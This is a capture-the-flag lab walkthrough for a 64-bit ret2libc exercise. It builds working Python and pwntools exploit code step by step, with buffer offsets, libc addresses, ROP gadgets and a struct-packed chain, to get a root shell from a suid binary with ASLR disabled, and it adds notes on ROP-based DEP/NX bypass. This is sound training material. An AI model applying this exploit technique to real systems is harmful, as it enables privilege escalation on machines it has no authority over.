
This is a challenge that I wrote for the The Petting Zoo CTF.

sudo docker pull ghcr.io/tanc7/tpz-barracuda:latest

sudo docker run --rm -it --privileged -p 2222:22

ghcr.io/tanc7/tpz-barracuda:latest /bin/bash

Exercise #3: Ret2libc attacks on 64-bit machines, differences in calling conventions

Admins: First make sure you turn ASLR off in your victim host. echo 0 >
/proc/sys/kernel/randomize_va_space1

Players: Login by ssh-ing into it, your user is ctf@<ip address>, your port is 2222, and your
password is “player”, ssh ctf@<ip address> -p 2222

Type tmux to open a tmux session and if you want bash completion type bash. Split into two
panes Ctrl+B “ if you want horizontal, or Ctrl+B % if you want vertical

1 You can do a quick test by running the ldd vulnapp command multiple times. If the addresses of it’s
dependencies change at each execution, ASLR is still enabled. If it remains the same, ASLR is confirmed
to be disabled.



Switch control of panes by pressing CTRL+B (up arrow) go up, and (down arrow) to go down
so you can multitask. You will be using nano for your text editor. For example, nano exploit.py,
and to save the file CTRL+X and hit Y to save it. Then you can run the script with python3
exploit.py

Foreword: Limitations of the GDB debugger and why we need pwntools

When you complete this exercise, gdb will spawn a child process that forks (the root shell that
popped), by default because you have not entered a command, the child shell immediately exits
and dies2. Once we prove that we can actually spawn a malicious root level process, we will
modify our code using pwntools (preinstalled on your Docker image) instead of using
cumbersome gdb “catch” statements or awkward console commands.3

3 https://ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_30.html#SEC31

2 https://ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_25.html “If you have set a breakpoint in any
code which the child then executes, the child will get a SIGTRAP signal which (unless it catches the
signal) will cause it to terminate. “

https://ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_30.html#SEC31
https://ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_25.html


Exercise #1: Ret2libc attacks on 64-bit machines, differences in calling conventions

To speed up the exercise, I have already done the cyclic pattern mapping of RBP, RSP, and RIP
for you. Since we have less than 5 hours before the CTF ends I will simply give you the answers
to start off since we have already done this in the first binary exploitation challenge.

1. RBP will be completely overwritten at 208 bytes.
2. RSP will be completely overwritten at 216 bytes.
3. Meaning that any additional bytes after that will overwrite RIP (216 bytes)

Your script will look like this at first.

#!/usr/bin/python3

import sys

import struct

buf = b"A"*208

buf += b"B"*8

# buf += b"C"*6

Now run and exit the application’s execution. Gdb vuln -q and press r and Ctrl+C. Since we
disabled Address Space Layout Randomization, let’s map out all of the modules (in this case
“Shared Objects”, or “Linux DLLs”). Type vmmap and press enter.



The highlighted section of the picture is the base address of the standard C Library. We can
cherry pick functions out of this module/file/library to add to our ROP-chain. Add it to your exploit
code so it looks like this.

#!/usr/bin/python3

import sys

import struct

buf = b"A"*208

buf += b"B"*8

# buf += b"C"*6

libc_base_address = 0x00007ffff7dad000

We need to find a reference to /bin/sh (the standard UNIX shell). In gdb type find /bin/sh and
note the address (it may be different for me than for you).

The absolute address I found in the C standard library is 0x7ffff7f615bd. We need to calculate
the relative offset from the base address to the function. In gdb, calculate this offset by typing
p/x (0x7ffff7f615bd-0x00007ffff7dad000). The formula is p/x (absolute address - base
address)4

4 Alternatively, you can save the address as a variable with the set $variable command. For example, set
$base=0x00007ffff7dad000 then set $abs=0x7ffff7f615bd and p/x ($abs-$base) will give $1 =
0x1b45bd. Just do not pick numbers like $1, or $2 and so on because they are reserved
https://sourceware.org/gdb/onlinedocs/gdb/Convenience-Vars.html

https://sourceware.org/gdb/onlinedocs/gdb/Convenience-Vars.html


Update your code with the offset, which will look like this

#!/usr/bin/python3

import sys

import struct

buf = b"A"*208

buf += b"B"*8

# buf += b"C"*6

libc_base_address = 0x00007ffff7dad000

shell = libc_base_address + 0x1b45bd

Now find a system() call, run p system and once again, calculate the offset as I shown above

And update your code.

#!/usr/bin/python3

import sys

import struct

buf = b"A"*208

buf += b"B"*8

# buf += b"C"*6

libc_base_address = 0x00007ffff7dad000

shell = libc_base_address + 0x1b45bd

syscall = libc_base_address + 0x52290

Find a exit function, p exit, and once again calculate the offset and update your code.



#!/usr/bin/python3

import sys

import struct

buf = b"A"*208

buf += b"B"*8

# buf += b"C"*6

libc_base_address = 0x00007ffff7dad000

shell = libc_base_address + 0x1b45bd

syscall = libc_base_address + 0x52290

exitfunc = libc_base_address + 0x46a40

Because of x64 calling conventions5, which makes exploitation completely different than i386
(IA-32) exploitation, arguments are stored in registers, beginning with the RDI register. We need
to pop the value of the pointer to /bin/sh into the RDI register so we can call it. We need to use
our preinstalled tool, ropper, to search for a POP RDI, RET; instruction. Run ropper right now.
Ropper

In the ropper console, specify the C Standard Library that you found with vmmap. Enter file
/usr/lib/x86_64-linux-gnu/libc-2.31.so (yours may be different since it’s a Docker container)

And then look for a POP RDI ROP Gadget search /1/ pop rdi

5 See the bottom for x64 calling conventions for exploitation of Linux and Windows platforms.



The last instruction is what we need, copy and paste the address into your exploit code and it
will look like this.

#!/usr/bin/python3

import sys

import struct

buf = b"A"*208

buf += b"B"*8

# buf += b"C"*6

libc_base_address = 0x00007ffff7dad000

shell = libc_base_address + 0x1b45bd

syscall = libc_base_address + 0x52290

exitfunc = libc_base_address + 0x46a40

pop_rdi = libc_base_address + 0x0000000000023b6a



We also need a RET (return) instruction to align the stack or our exploit will fail. In ropper search
for a single RET gadget, search /1/ ret

Add the gadget to your code, and it will look like this.

#!/usr/bin/python3

import sys

import struct

buf = b"A"*208

buf += b"B"*8

# buf += b"C"*6

libc_base_address = 0x00007ffff7dad000

shell = libc_base_address + 0x1b45bd

syscall = libc_base_address + 0x52290

exitfunc = libc_base_address + 0x46a40

pop_rdi = libc_base_address + 0x0000000000023b6a

ret = libc_base_address + 0x00000000000c067d

To assemble our ROP-chain,  we will use Python’s struct and c-types methods to put together
the gadgets. The gadgets are fed “in-reverse” and ultimately will execute the instructions in this
order…

1. Exit the exploited application
2. Run a system() call
3. Write the pointer to /bin/sh onto the stack
4. Pop the value of that pointer into the RDI register (your first argument)
5. Executes a return

The ROP-chain calls system(/bin/sh) for you with root privileges as this exploitable app not only
as the suid bit on, but also improperly written.



To feed the ROP chain, we will pack the memory addresses using the double long little-endian
format struct.pack(‘<Q’,address).

The chain looks like this.

buf += struct.pack('<Q',ret)

buf += struct.pack('<Q',pop_rdi)

buf += struct.pack('<Q',shell)

buf += struct.pack('<Q',syscall)

buf += struct.pack('<Q',exitfunc)

We also need to write the exploit to a file on the disk and then pipe it into the standard input of
the vulnerable app, that uses the easily exploitable gets() function.

Ultimately your exploit will look like this

#!/usr/bin/python3

import sys

import struct

buf = b"A"*208

buf += b"B"*8

# buf += b"C"*6

libc_base_address = 0x00007ffff7dad000

shell = libc_base_address + 0x1b45bd

syscall = libc_base_address + 0x52290

exitfunc = libc_base_address + 0x46a40

pop_rdi = libc_base_address + 0x0000000000023b6a

ret = libc_base_address + 0x00000000000c067d

buf += struct.pack('<Q',ret)

buf += struct.pack('<Q',pop_rdi)

buf += struct.pack('<Q',shell)

buf += struct.pack('<Q',syscall)

buf += struct.pack('<Q',exitfunc)

with open('payload','wb') as payload:

payload.write(buf)



Generate the malicious buffer by running python3 exploit.py and note that you have a new file,
“payload”, ls payload.

We can test this out in gdb by restarting gdb and disassembling the greet_me function and add
a breakpoint to it.

Add a breakpoint at the end of the greet_me function, b *greet_me+60 and then run the app r <
payload.

Once it hits the breakpoint, single step with the si command and observe the ROP chain.

When you are finished, let the app continue and attempt to spawn a root shell. C



Notice that it attempted to spawn a child process (a root level shell) but because no commands
have been given to it, it exits. Quit gdb, quit.

Execute the root shell by running (cat payload ; cat) | ./vuln and with your root privileges, grab
the flag cat /root/flag.txt (if the app is not responding, press [Enter] once)



Pwntools alternative

As you can see, it’s quite cumbersome to get GNU Debugger to catch the child shell session or
simply getting the exploit to work on the command line. Thankfully we have pwntools, which has
modules that automatically attach to the session for you. If you want to go for the extra mile,
rewrite your code as so.

#!/usr/bin/python3

import sys

import struct

from pwn import *

exe = context.binary = ELF('./vuln')

libc_base_address = 0x00007ffff7dad000

pop_rdi = libc_base_address + 0x0000000000023b6a

shell = libc_base_address + 0x1b45bd

syscall = libc_base_address + 0x52290

exitfunc = libc_base_address + 0x46a40

ret = libc_base_address + 0x00000000000c067d

buf = b"A"*208

buf += b"B"*8

# buf += b"C"*6

buf += struct.pack('<Q',ret)

buf += struct.pack('<Q',pop_rdi)

buf += struct.pack('<Q',shell)

buf += struct.pack('<Q',syscall)

buf += struct.pack('<Q',exitfunc)

io = process(exe.path)

with open('payload','wb') as payload:

payload.write(buf)

io.sendline(buf)

io.interactive()



And run it again, python3 pwntools.py



A word on x64 calling conventions.

We have yet to actually disable NX on Linux machines, rather we reused code with a simple
ROP chain to execute our shell by calling the shell from code we found in the stack using
ropper. Technically, we executed system(‘/bin/sh’) because we set up the first argument
“/bin/sh” by pushing a pointer to it into the RDI register, then aligning the stack with a ret
instruction, and then performing a system call.

There is a BIG difference between x64 and x32 exploitation, and a slight difference between
how x64 calling conventions on Linux and Windows.

To disable mprotect on Linux 64-bit you must set up the registers as so…

mprotect(RDI,RSI,RDX,RCX,R8,R9)6

To disable VirtualProtect on Windows 64-bit you must set up the registers as so…

VirtualProtect(RCX,RDX,R8,R9)

This means you must be careful picking your ROP gadgets to disable Data Execution
Prevention (Windows) or Non-Executable Bits on the Stack (Linux) for 64-bit applications and
machines.7 You cannot pick a gadget that alters the registers listed above, but you CAN pick
instructions that write dummy addresses (eight letter A’s to R12 for example) and then executes
a RET instruction if it’s not convenient to find a simple RET instruction.

In the event that you cannot find a simple RET instruction to realign the stack, find something
like pop rsi; pop r15; ret; (which sets the value of the second argument for Linux in the RSI
register, and writes a dummy value to r15) and write a dummy value onto the stack, then pop it
into a register NOT used in the x64 calling convention. These dummy gadgets can be
repeatedly spammed if you are just simply looking for a way to call a RET instruction or to set up
additional arguments in your shellcode.

7 If this is looking complex for you, I can always suggest single-stepping through the code in your
debugger to ensure what values are being popped off the stack into what register so you won’t face-plant.

6 Any additional arguments beyond this can be performed from a offset from the stack pointer, so
argument #7 is RSP + 0x10, #8 is RSP + 0x18


